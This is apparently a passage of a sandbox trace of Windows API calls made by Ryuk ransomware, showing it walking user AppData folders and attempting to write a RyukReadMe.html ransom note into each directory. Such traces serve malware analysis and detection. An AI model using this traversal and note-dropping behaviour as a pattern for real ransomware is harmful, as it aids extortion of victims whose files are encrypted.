	[0252.167] GetLastError () returned 0x3
	[0252.167] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.168] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0252.168] SetLastError (dwErrCode=0x0) 
	[0252.168] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.168] GetLastError () returned 0xb7
	[0252.168] CloseHandle (hObject=0x5b8) returned 1
	[0252.168] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0252.169] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.169] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1
	[0252.169] SetLastError (dwErrCode=0x0) 
	[0252.169] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.169] GetLastError () returned 0x3
	[0252.169] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.169] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.171] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.171] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0252.171] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.171] SetLastError (dwErrCode=0x0) 
	[0252.171] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.171] GetLastError () returned 0x3
	[0252.171] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.171] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0252.171] SetLastError (dwErrCode=0x0) 
	[0252.171] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.172] GetLastError () returned 0x3
	[0252.172] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.172] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.173] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.173] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x212, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1
	[0252.174] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x212, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0
	[0252.174] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.174] SetLastError (dwErrCode=0x0) 
	[0252.174] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.174] GetLastError () returned 0x3
	[0252.174] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.174] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0252.174] SetLastError (dwErrCode=0x0) 
	[0252.174] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.174] GetLastError () returned 0x3
	[0252.174] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.174] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.175] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.175] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0252.175] SetLastError (dwErrCode=0x0) 
	[0252.175] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.175] GetLastError () returned 0x3
	[0252.175] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.175] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.175] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.175] SetLastError (dwErrCode=0x0) 
	[0252.175] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.175] GetLastError () returned 0x3
	[0252.175] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.176] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1
	[0252.176] SetLastError (dwErrCode=0x0) 
	[0252.176] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.176] GetLastError () returned 0x3
	[0252.176] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.176] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.176] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.176] SetLastError (dwErrCode=0x0) 
	[0252.176] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.176] GetLastError () returned 0x3
	[0252.176] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.176] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1
	[0252.176] SetLastError (dwErrCode=0x0) 
	[0252.177] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.177] GetLastError () returned 0x3
	[0252.177] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.177] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.177] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.177] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.177] SetLastError (dwErrCode=0x0) 
	[0252.177] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn2\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.177] GetLastError () returned 0x3
	[0252.177] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.177] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.177] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 0
	[0252.177] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.177] SetLastError (dwErrCode=0x0) 
